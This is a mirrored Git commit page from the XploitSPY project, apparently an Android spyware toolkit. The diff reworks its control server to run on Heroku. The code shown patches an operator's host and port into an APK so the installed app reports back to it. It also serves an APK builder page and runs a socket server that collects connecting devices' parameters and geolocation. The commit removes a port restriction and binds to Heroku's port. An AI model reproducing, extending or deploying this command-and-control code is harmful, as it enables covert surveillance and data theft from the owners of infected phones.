mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2024-11-05 18:09:22 +08:00
Changed ports to work with heroku
This commit is contained in:
parent
2167196567
commit
d041ac10e7
@ -20,7 +20,7 @@ function javaversion(callback) {
|
||||
}
|
||||
|
||||
function patchAPK(URI, PORT, cb) {
|
||||
if (PORT < 25565) {
|
||||
// if (PORT < 25565) {
|
||||
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
|
||||
if (err) return cb('File Patch Error - READ')
|
||||
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "http://" + URI + ":" + PORT);
|
||||
@ -29,7 +29,7 @@ function patchAPK(URI, PORT, cb) {
|
||||
else return cb(false)
|
||||
});
|
||||
});
|
||||
}
|
||||
// }
|
||||
}
|
||||
|
||||
function buildAPK(cb) {
|
||||
|
@ -65,7 +65,8 @@ routes.get('/logout', isAllowed, (req, res) => {
|
||||
|
||||
routes.get('/builder', isAllowed, (req, res) => {
|
||||
res.render('builder', {
|
||||
myPort: CONST.control_port
|
||||
// myPort: CONST.control_port
|
||||
myPort: process.env.PORT
|
||||
});
|
||||
});
|
||||
|
||||
|
13
index.js
13
index.js
@ -8,7 +8,8 @@
|
||||
const
|
||||
express = require('express'),
|
||||
app = express(),
|
||||
IO = require('socket.io'),
|
||||
server = require('http').createServer(app),
|
||||
IO = require('socket.io')(server),
|
||||
geoip = require('geoip-lite'),
|
||||
CONST = require('./includes/const'),
|
||||
db = require('./includes/databaseGateway'),
|
||||
@ -24,10 +25,11 @@ global.clientManager = clientManager;
|
||||
global.apkBuilder = apkBuilder;
|
||||
|
||||
// spin up socket server
|
||||
let client_io = IO.listen(CONST.control_port);
|
||||
// let client_io = IO.listen(CONST.control_port);
|
||||
|
||||
client_io.sockets.pingInterval = 30000;
|
||||
client_io.on('connection', (socket) => {
|
||||
// client_io.sockets.pingInterval = 30000;
|
||||
IO.sockets.pingInterval = 30000;
|
||||
IO.on('connection', (socket) => {
|
||||
socket.emit('welcome');
|
||||
let clientParams = socket.handshake.query;
|
||||
let clientAddress = socket.request.connection;
|
||||
@ -65,7 +67,8 @@ client_io.on('connection', (socket) => {
|
||||
|
||||
|
||||
// get the admin interface online
|
||||
app.listen(CONST.web_port);
|
||||
// app.listen(CONST.web_port);
|
||||
server.listen(process.env.PORT || CONST.web_port)
|
||||
|
||||
app.set('view engine', 'ejs');
|
||||
app.set('views', './assets/views');
|
||||
|
Loading…
Reference in New Issue
Block a user